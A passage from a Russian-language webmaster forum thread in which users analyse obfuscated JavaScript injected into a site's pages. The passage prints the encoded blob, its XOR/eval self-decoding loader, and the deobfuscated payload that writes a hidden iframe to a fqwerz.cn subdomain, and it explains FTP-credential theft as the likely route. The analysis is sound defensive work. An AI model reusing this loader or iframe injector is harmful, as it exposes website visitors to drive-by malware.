5\x31\x64\x25\x33\x33\x25\x37\x37\x25\x31\x38\x25\x32\x34\x25\x30\x64\x25\x33\x66\x25\x35\x35\x25\x37\x64\x25\x32\x37\x25\x33\x64\x25\x31\x62\x25\x33\x39\x25\x31\x62\x25\x36\x62\x25\x30\x33\x25\x36\x61\x25\x31\x32\x25\x31\x31\x25\x37\x64\x25\x33\x64\x25\x34\x61\x25\x37\x63\x25\x31\x30\x25\x33\x65\x25\x30\x65\x25\x37\x64\x25\x30\x62\x25\x33\x36\x25\x31\x64\x25\x37\x33\x25\x36\x61\x25\x37\x64\x25\x37\x63\x25\x37\x65\x25\x33\x64\x25\x34\x64\x25\x32\x34\x25\x33\x32\x25\x30\x33\x25\x33\x35\x25\x31\x33\x25\x31\x34\x25\x33\x30\x25\x33\x63\x25\x34\x32\x25\x33\x61\x25\x30\x39\x25\x36\x63\x25\x31\x63\x25\x32\x38\x25\x36\x66\x25\x32\x31\x25\x34\x37\x25\x36\x65\x25\x37\x36\x25\x33\x38\x25\x31\x36\x25\x37\x34\x25\x34\x39\x25\x33\x35\x25\x31\x33\x25\x33\x66\x25\x31\x38\x25\x36\x64\x25\x37\x39\x25\x36\x31\x25\x37\x61\x25\x35\x64\x25\x33\x36\x25\x34\x61\x25\x36\x36\x25\x35\x35\x25\x37\x35\x25\x35\x62\x25\x37\x63\x25\x36\x62\x25\x36\x33\x25\x37\x39\x25\x33\x31\x25\x33\x35\x25\x30\x36\x25\x30\x65\x25\x33\x61\x25\x31\x33\x25\x33\x64\x25\x30\x34\x25\x33\x37\x25\x32\x33\x25\x33\x32\x25\x31\x66\x25\x33\x35\x25\x33\x30\x25\x33\x65\x25\x37\x35\x25\x34\x63\x25\x37\x36\x25\x37\x31\x25\x32\x33\x25\x35\x64\x25\x37\x61\x25\x32\x31\x25\x35\x32\x25\x33\x64\x25\x34\x39\x25\x35\x35\x25\x33\x65\x25\x33\x34\x25\x30\x36\x25\x37\x35\x25\x37\x31\x25\x33\x64\x25\x33\x32\x25\x32\x32\x25\x32\x63\x25\x31\x62\x25\x35\x33\x25\x30\x63\x25\x36\x37\x25\x30\x30\x25\x33\x63\x25\x31\x65\x25\x37\x61\x25\x32\x34\x25\x37\x61\x25\x35\x37\x25\x31\x37\x25\x31\x62\x25\x33\x38\x25\x37\x63\x25\x32\x31\x25\x30\x63\x25\x30\x62\x25\x33\x34\x25\x36\x62\x25\x34\x37\x25\x36\x61\x25\x33\x66\x25\x37\x37\x25\x33\x34\x25\x33\x62\x25\x30\x38\x25\x34\x62\x25\x31\x34\x25\x31\x63\x25\x31\x66\x25\x32\x63\x25\x33\x65\x25\x32\x63\x25\x32\x30\x25\x37\x65\x25\x36\x39\x25\x36\x61\x25\x34\x34\x25\x32\x32\x25\x32\x63\x25\x36\x31\x25\x36\x66\x25\x32\x62\x25\x32\x37\x25\x36\x35\x25\x32\x37\x25\x31\x65\x25\x33\x62\x25\x37\x64\x25\x36\x65\x25\x31\x63\x25\x30\x36\x25\x33\x36\x25\x37\x39\x25\x32\x30\x25\x35\x35\x25\x32\x33\x25\x32\x64\x25\x32\x32\x25\x37\x39\x25\x33\x61\x25\x33\x39\x25\x36\x32\x25\x36\x36\x25\x34\x62\x25\x33\x64\x25\x32\x66\x25\x33\x66\x25\x35\x36\x25\x33\x63\x25\x37\x35\x25\x30\x65\x25\x32\x63\x25\x34\x63\x25\x37\x66\x25\x35\x33\x25\x36\x65\x25\x33\x39\x25\x30\x64\x25\x36\x66\x25\x35\x30\x25\x37\x64\x25\x31\x38\x25\x31\x36\x25\x30\x62\x25\x33\x33\x25\x33\x62\x25\x31\x36\x25\x37\x62\x25\x37\x66\x25\x35\x33\x27\x29\x3b');	 </script></span>
    Что это за код? Как внедряется в наши страницы? Кто виноват Хостинг-провайдер или наш Web- программист?
     
  2. Vovochka

    Vovochka Гость

    Репутация:
    0
    Несколько часов разбирал это делает. Абсолютно шикарно! Исполняемый код закодирован раскодирующим кодом! Кайф. :)
    Итоговая функция почти такая (я слегка улучшил читаемость) :
    <!--shcode--><pre><code class='JavaScript'>function JuRb(){};
    JuRb.prototype = {
    cookieValue:1,
    cookieName:'gdceahbf',
    getRandString : function(){
    var l=16,c='123456789abcdef',o='';
    for(var i=0;i<l;i++)o+=c.substr(Math.floor(Math.random()*c.length),1,1);
    return o;
    },
    path:'fqwerz.cn',
    alreadyInstalled : function(){
    return !(document.cookie.indexOf(this.cookieName + '=' + this.cookieValue) == -1);
    },
    install : function(){
    if(!this.alreadyInstalled()){
    var s="<div style='display:none'><iframe src='"+this.getFrameURL()+"'>*<iframe><div>";
    try {
    var o=document;
    o.open();
    o.write(s);
    o.close();
    }catch(e){
    document.write('<html><body>'+s+'<body><html>')
    }
    this.setCookie(this.cookieName, this.cookieValue);
    }
    },
    getFrameURL : function(){
    var dlh=document.location.host;
    return "http"+'://'+((dlh == '' || dlh == 'undefined') ? this.getRandString() : '') + dlh.replace (/[^a-z0-9.-]/,'.').replace (/\.+/,'.') + "." + this.getRandString() + "." + this.path + this.host;
    }, // "http://56713f3f662c5c57.a1ab37b1d72b75f3.fqwerz.cn/qq.cn/' - Что-то типа того возвращает
    setCookie : function(name, value){
    var d= new Date();
    d.setTime(new Date().getTime() + 86400000);
    document.cookie = name + "=" + escape(value)+"; expires="+d.toGMTString();
    },
    host:'/qq.cn/'
    };
    var ocho=new JuRb();
    ocho.install();[/CODE]
    Собственно, что там грузится с того сайта я не смотрел... В общем и так понятно, но на вопрос "Что это за код?" помоему я ответил :)
     
  3. Programmer_Hard

    Programmer_Hard Гость

    Репутация:
    0
    взломали фтп, а скорее всего угнали с компьютера зараженного из фтп менеджера.... Короче менять пароли на фтп и чистить сервак и свои компы.... Виновных хрен найдете к сожалению ( fqwerz.cn этот домен полюбому на таиландца оформлен )

    это как ? можно поподробнее )
     
  4. Vovochka

    Vovochka Гость

    Репутация:
    0
    После первого преобразования мы получаем следующий код:
    Код:
    function yY3(x4xOY) {
    
    function z4TqKb8(mSoIm) {
    var lZV5X = 0;
    var z5s0o = mSoIm.length, fQoB2 = 0;
    while (fQoB2 < z5s0o) {
    lZV5X += ddP9(mSoIm, fQoB2) * z5s0o;
    fQoB2++;
    }
    return lZV5X + "";
    }
    
    
    function ddP9(pQ2fXF, wwI) {
    return pQ2fXF.charCodeAt(wwI);
    }
    
    try {
    var beIoNcA = eval("aNrogNuQmKeQnOtNsO.KcoaOlOlKeOeQ".replace(/[oOQKN]/g, "")), mFthx = "", vWGjgK = 0, kLb = 0;
    var jT7L = (new String(beIoNcA)).replace(/[^@a-z0-9A-Z_.,-]/g, "");
    var kLC = z4TqKb8(jT7L);
    x4xOY = unescape(x4xOY);
    for (var idm81 = 0; idm81 < x4xOY.length; idm81++) {
    var pFG7nv = ddP9(jT7L, vWGjgK) ^ ddP9(kLC, kLb);
    var d4THg = ddP9(x4xOY, idm81);
    vWGjgK++, kLb++;
    mFthx += String.fromCharCode(d4THg ^ pFG7nv);
    if (kLb > kLC.length) {
    kLb = 0;
    }
    if (vWGjgK > jT7L.length) {
    vWGjgK = 0;
    }
    }
    eval(mFthx);
    return mFthx = new String;
    } catch (e) {
    }
    }
    После того как я привел его в читаемый вид (с помощью "правка" -> "заменить") я таки обратил внимание на второй eval
    Код:
    eval(mFthx);
    Сразу вставил перед ним alert и получил нечто жуткое, абсолютно не выполнимое. Я ничего сразу не понял, но продолжил ковыряться.
    Код:
    var beIoNcA = eval("aNrogNuQmKeQnOtNsO.KcoaOlOlKeOeQ".replace(/[oOQKN]/g, ""))
    Как аказалось ЭТОТ кусок кода был ничем иным как
    Код:
    var beIoNcA = eval("arguments.callee");
    Который в свою очередь возвращал в переменную вышеуказанный код (самый первый блок). Вот путем преобразований именно этого кода получается новый, который я и превел в первом посте :)
    Так что простая вставка alert для просмотра переменной приводила к тому, что получал совершенно другой результат.

    Кстати, пока разбирался умудрился таки несколько раз выполнить код :-D
    Слава линуксу, я этого не боюсь :)
     
  5. etc

    etc Гость

    Репутация:
    0
    Нет уж вы посмотрите, и полный, т.сказать отчет предоставте :)
     
  6. Vovochka

    Vovochka Гость

    Репутация:
    0
    Мне сейчас отдается 403. Ничего я там уже не посмотрю.
     
  7. Гость

    Репутация:
    0
    Vovochka, большое, Вам, спасибо.
    Уточняющий вопрос, можно чуть подробнее о том как могло произойти зараженее контента сайта (перечислити если можно возможные варианты).
     
  8. Programmer_Hard

    Programmer_Hard Гость

    Репутация:
    0
    Ну я почти ответил.... Если вас интересует заразил ли ваш сайт ваш прогер, то думаю что он не идиот... Провайдер (хостер) тоже не виноват... Многие трояны могут заразить ваш комп, затем собрать все пароли с компа, в том числе все доступы на фтп.
    А затем либо напрямую отредактировать индекс страницы на сервере через фтп доступ внедрив свой код, либо залить шел и через него уже творить черные дела на сервере, причем всем этим троян может заниматься автономно....
     
Загрузка...

Поделиться этой страницей